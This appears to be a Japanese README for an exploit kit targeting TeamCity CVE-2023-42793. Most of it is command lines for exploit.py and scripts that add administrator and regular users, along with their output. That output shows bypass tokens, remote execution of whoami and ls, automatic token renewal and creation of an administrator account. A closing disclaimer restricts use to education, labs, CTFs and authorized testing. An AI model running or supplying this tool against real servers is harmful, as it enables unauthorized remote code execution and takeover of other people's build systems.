
TeamCity CVE-2023-42793のエクスプロイト。トークンベースの認証バイパスを介してリモートコード実行と管理者アカウント作成を可能にします。
コマンド実行例:
python3 exploit.py -u http://localhost
User add token -> eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 16ms
Command -> ls -la /home
StdOut:total 8
drwxr-xr-x 2 root root 4096 Apr 15 2020 .
drwxr-xr-x 1 root root 4096 Feb 28 2024 ..
StdErr:
Exit code: 0
Time: 23ms
トークンが期限切れになった場合、自動的に新しいトークンが作成されます。
Command -> whoami
[-] Token expired, restarting...
[!]Error deleting user
User add token -> eyJ0eXAiOiAiVENWMiJ9.ZVJiSTB6SGZWSEpldzhEa1o4cUdsWFlQRTJJ.NGQxOTg4ZWItNTJmYS00OWM3LWIwYmItZjcyODNkYjg5NTJj
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 24ms
管理者ユーザー名の作成:
python3 user_add_administrator.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Z21xU3ZtTXNYUXE2WGdkaWJCOFV4QWsxN2s0.NmMyZDE0YTItMDQ1OS00NGQ2LTk2YWEtNjg1MTU3ZGNiNjM0
Create username administrator
既存のユーザーがいる場合:
python3 user_add.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Q3ZFa0ExR2tBcGlSMUZ3ZWNyMUtNN0VPQmFN.Mzk0M2EyZjAtMzVhNi00YTU0LWFmNTctMTg4MThkZmU5MDA3
is already in use by some other user.
このリポジトリは、コンピュータセキュリティにおける教育および研究目的のみを対象としています。 記載されているスクリプトや手法を許可なくシステムに侵入させるために使用することは違法であり、アルゼンチンの法律26.388、米国のCFAA、ブダペスト条約などの国内法および国際法に違反します。
著者は、ここで提供される情報の誤用について一切の責任を負いません。 この資料の使用は、制御された環境、ラボ、CTF、またはシステム所有者の明示的な許可がある場合にのみ許可されます。
テストを実施する場合は、必ず許可を得てください。許可なくハッキングすることは倫理的ハッキングではなく、犯罪です。